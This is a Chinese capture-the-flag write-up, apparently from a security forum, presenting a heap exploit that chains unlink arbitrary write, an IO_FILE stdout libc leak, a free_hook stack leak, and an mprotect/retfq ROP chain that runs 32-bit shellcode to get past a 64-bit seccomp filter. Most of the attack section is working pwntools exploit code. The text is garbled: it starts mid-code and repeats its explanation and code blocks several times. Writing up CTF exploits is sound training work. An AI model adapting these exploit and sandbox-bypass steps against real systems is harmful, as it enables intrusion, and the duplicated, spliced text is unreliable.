*0x400ca3') sl(5) irt()
首先调用mprotect开启一段可读、可写、可执行内存(注意页对齐),该内存中放入shellcode。然后使用retfq指令跳32位模式,最后控制eip指针返回执行shellcode拿flag。
介绍一下怎么找retfq指令,ROPgadget指令是找不到的!!!利用pwntools将retfq转换成代码字符串,再用search找这个字符串所在的地址
可以发现我上面写的shellcode是64位的,所以需要retfq跳模式。其实更简单的方法就是生成32位的shellcode。。。
EXP
1、注意到提供的功能里面没有输出的功能,所以第一步要看怎么leak地址。暂时还不知道怎么读leak信息,接着想想能不能任意写。
2、很容易发现堆溢出漏洞后,可以采取unlink的方法实现任意写。
3、如果能任意写,那么可以采取改IO_FILE的结构的方法泄露libc和stack。
4、能泄露stack后,就能覆盖返回地址,实现ROP,控制程序流,执行我的shellcode
5、因为seccomp的规则限制,不能直接getshell。但这只是对64位代码做限制,实际上可以写32的shellcode,以32位的模式运行(骚操作)。
具体实现
第一步:unlink(任意写)
add(0x80,'a'*0x80)#0 add(0x80,'b'*0x80)#1 add(0x80,'c'*0x80)#2 add(0x80,'d'*0x80)#3 add(0x80,'e'*0x80)#4 edit(3,0x90,p64(0)+p64(0x81)+p64(src)+p64(src+8)+'d'*0x60+p64(0x80)+p64(0x90)) #fake_prev_size + fake_size + fd + bk + padding + chunk4_prev_size + chunk4_size delete(4) #unlink src[3]->src[0]
unlink的原理和利用方式见我的blog:https://blog.csdn.net/snowleopard_bin/article/details/81333184
创建5个chunk,利用堆溢出漏洞,覆盖chunk4的size,并且构造fake_chunk
然后delete(4)触发unlink,形成src[3]->src[0]的篡改链
第二步:改IO_FILE(任意读)
IO_FILE结构参见我的blog:https://blog.csdn.net/snowleopard_bin/article/details/84074342
通过改写IO_FILE的flag字段和_IO_write_base字段来泄露信息。参考资料:https://e3pem.github.io/2018/12/04/hitcon/baby_tcache/
_flags = 0xfbad0000 // Magic number
_flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000
_flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800
_flags | = _IO_IS_APPENDING // _flags = 0xfbad1800
根据要实现的功能,设置相应的flag。具体的flag的设置方法请参照源码绕过。
这里需要执行
count = _IO_SYSWRITE (fp, data, to_do);
#leak libc edit(3,16,p64(src)+p64(stdout)) copy(1,0,8)#src[0]=*stdout payload = p64(0xfbad1800)+p64(0)*3+'\x00' edit(0,len(payload),payload) r(8) r(8) r(8) r(8) leak = uu64(r(8))-0x3c36e0 success('leak= {}'.format(hex(leak))) libc.address = leak
第三步:读取flag
除了修改
_IO_write_base字段
来泄露stack外,还可以修改free_hook为puts,来输出栈指针(如:environ)
#write free_hook to leak stack free_hook = libc.symbols['__free_hook'] puts = libc.symbols['puts'] env = libc.symbols['environ'] edit(3,16,p64(free_hook)+p64(env)) edit(0,8,p64(puts)) delete(1) stack = uu64(r(7)[1:]) success('stack= {}'.format(hex(stack))) ret = stack-0xf0
泄露栈后就可以计算出返回地址ret,通过修改ret来触发ROP
ROP链中我们需要打开一段可以读写、执行的内存,把shellcode放进去,将cs寄存器改为0x23(0x23代表32位模式,0x33代表64位模式)来执行32位shellcode绕过64位的seccomp规则限制。
#open read write flag shellcode = asm('mov esp,0x602500')+asm(shellcraft.open("flag")) ss = ''' mov ebx, eax mov ecx, 0x602900 mov edx,0x50 int 0x80 mov eax,4 mov ebx, 1 mov ecx, 0x602900 mov edx,0x50 int 0x80 ''' shellcode+=asm(ss) p_rdi=0x400ca3 p_rdx_rsi = 0x00000000001150c9+libc.address mprotect = libc.symbols['mprotect'] #retfq = 0x107428 + libc.address#0x002bca4c retfq = 0x811dc+libc.address ''' code = asm('retfq',arch='amd64') code = next(libc.search(code))#0x811dc success('retfq address: {}'.format(hex(code))) ''' mode = p64(retfq) + p64(0x602500) + p64(0x23)#retfq + eip + mode rop = p64(p_rdi)+p64(0x602000)+p64(p_rdx_rsi)+p64(7)+p64(0x1000)+p64(mprotect)+mode #mprotect(0x602000,0x1000,7) print len(shellcode)#63 edit(3,8,p64(0x602500)) edit(0,0x44,shellcode+(0x40-63)*'\x00'+'flag') edit(3,8,p64(ret)) edit(0,len(rop),rop) #gdb.attach(cn,'b *0x602500') #gdb.attach(cn,'b *0x400ca3') sl(5) irt()
首先调用mprotect开启一段可读、可写、可执行内存(注意页对齐),该内存中放入shellcode。然后使用retfq指令跳32位模式,最后控制eip指针返回执行shellcode拿flag。
介绍一下怎么找retfq指令,ROPgadget指令是找不到的!!!利用pwntools将retfq转换成代码字符串,再用search找这个字符串所在的地址
可以发现我上面写的shellcode是64位的,所以需要retfq跳模式。其实更简单的方法就是生成32位的shellcode。。。
EXP
第一步:unlink(任意写)
add(0x80,'a'*0x80)#0 add(0x80,'b'*0x80)#1 add(0x80,'c'*0x80)#2 add(0x80,'d'*0x80)#3 add(0x80,'e'*0x80)#4 edit(3,0x90,p64(0)+p64(0x81)+p64(src)+p64(src+8)+'d'*0x60+p64(0x80)+p64(0x90)) #fake_prev_size + fake_size + fd + bk + padding + chunk4_prev_size + chunk4_size delete(4) #unlink src[3]->src[0]
unlink的原理和利用方式见我的blog:https://blog.csdn.net/snowleopard_bin/article/details/81333184
创建5个chunk,利用堆溢出漏洞,覆盖chunk4的size,并且构造fake_chunk
然后delete(4)触发unlink,形成src[3]->src[0]的篡改链
第二步:改IO_FILE(任意读)
IO_FILE结构参见我的blog:https://blog.csdn.net/snowleopard_bin/article/details/84074342
通过改写IO_FILE的flag字段和_IO_write_base字段来泄露信息。参考资料:https://e3pem.github.io/2018/12/04/hitcon/baby_tcache/
_flags = 0xfbad0000 // Magic number
_flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000
_flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800
_flags | = _IO_IS_APPENDING // _flags = 0xfbad1800
根据要实现的功能,设置相应的flag。具体的flag的设置方法请参照源码绕过。
这里需要执行
count = _IO_SYSWRITE (fp, data, to_do);
#leak libc edit(3,16,p64(src)+p64(stdout)) copy(1,0,8)#src[0]=*stdout payload = p64(0xfbad1800)+p64(0)*3+'\x00' edit(0,len(payload),payload) r(8) r(8) r(8) r(8) leak = uu64(r(8))-0x3c36e0 success('leak= {}'.format(hex(leak))) libc.address = leak
第三步:读取flag
除了修改
_IO_write_base字段
来泄露stack外,还可以修改free_hook为puts,来输出栈指针(如:environ)
#write free_hook to leak stack free_hook = libc.symbols['__free_hook'] puts = libc.symbols['puts'] env = libc.symbols['environ'] edit(3,16,p64(free_hook)+p64(env)) edit(0,8,p64(puts)) delete(1) stack = uu64(r(7)[1:]) success('stack= {}'.format(hex(stack))) ret = stack-0xf0
泄露栈后就可以计算出返回地址ret,通过修改ret来触发ROP
ROP链中我们需要打开一段可以读写、执行的内存,把shellcode放进去,将cs寄存器改为0x23(0x23代表32位模式,0x33代表64位模式)来执行32位shellcode绕过64位的seccomp规则限制。
#open read write flag shellcode = asm('mov esp,0x602500')+asm(shellcraft.open("flag")) ss = ''' mov ebx, eax mov ecx, 0x602900 mov edx,0x50 int 0x80 mov eax,4 mov ebx, 1 mov ecx, 0x602900 mov edx,0x50 int 0x80 ''' shellcode+=asm(ss) p_rdi=0x400ca3 p_rdx_rsi = 0x00000000001150c9+libc.address mprotect = libc.symbols['mprotect'] #retfq = 0x107428 + libc.address#0x002bca4c retfq = 0x811dc+libc.address ''' code = asm('retfq',arch='amd64') code = next(libc.search(code))#0x811dc success('retfq address: {}'.format(hex(code))) ''' mode = p64(retfq) + p64(0x602500) + p64(0x23)#retfq + eip + mode rop = p64(p_rdi)+p64(0x602000)+p64(p_rdx_rsi)+p64(7)+p64(0x1000)+p64(mprotect)+mode #mprotect(0x602000,0x1000,7) print len(shellcode)#63 edit(3,8,p64(0x602500)) edit(0,0x44,shellcode+(0x40-63)*'\x00'+'flag') edit(3,8,p64(ret)) edit(0,len(rop),rop) #gdb.attach(cn,'b *0x602500') #gdb.attach(cn,'b *0x400ca3') sl(5) irt()
首先调用mprotect开启一段可读、可写、可执行内存(注意页对齐),该内存中放入shellcode。然后使用retfq指令跳32位模式,最后控制eip指针返回执行shellcode拿flag。
介绍一下怎么找retfq指令,ROPgadget指令是找不到的!!!利用pwntools将retfq转换成代码字符串,再用search找这个字符串所在的地址
可以发现我上面写的shellcode是64位的,所以需要retfq跳模式。其实更简单的方法就是生成32位的shellcode。。。
add(0x80,'a'*0x80)#0 add(0x80,'b'*0x80)#1 add(0x80,'c'*0x80)#2 add(0x80,'d'*0x80)#3 add(0x80,'e'*0x80)#4 edit(3,0x90,p64(0)+p64(0x81)+p64(src)+p64(src+8)+'d'*0x60+p64(0x80)+p64(0x90)) #fake_prev_size + fake_size + fd + bk + padding + chunk4_prev_size + chunk4_size delete(4) #unlink src[3]->src[0]
unlink的原理和利用方式见我的blog:https://blog.csdn.net/snowleopard_bin/article/details/81333184
创建5个chunk,利用堆溢出漏洞,覆盖chunk4的size,并且构造fake_chunk
然后delete(4)触发unlink,形成src[3]->src[0]的篡改链
add(0x80,'a'*0x80)#0 add(0x80,'b'*0x80)#1 add(0x80,'c'*0x80)#2 add(0x80,'d'*0x80)#3 add(0x80,'e'*0x80)#4 edit(3,0x90,p64(0)+p64(0x81)+p64(src)+p64(src+8)+'d'*0x60+p64(0x80)+p64(0x90)) #fake_prev_size + fake_size + fd + bk + padding + chunk4_prev_size + chunk4_size delete(4) #unlink src[3]->src[0]
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
他的文章
- [原创]2019-西湖论剑 noinfoleak 22770
- [原创]2018-XNUCA steak 涨姿势 12909
- [原创]20170ctf babyheap 8166
- [原创]2014 hack.lu oreo 23105
- [原创]HITCON Trainging lab13 heapcreator 8061
谁下载
无
看原图
赞赏
雪币:
留言: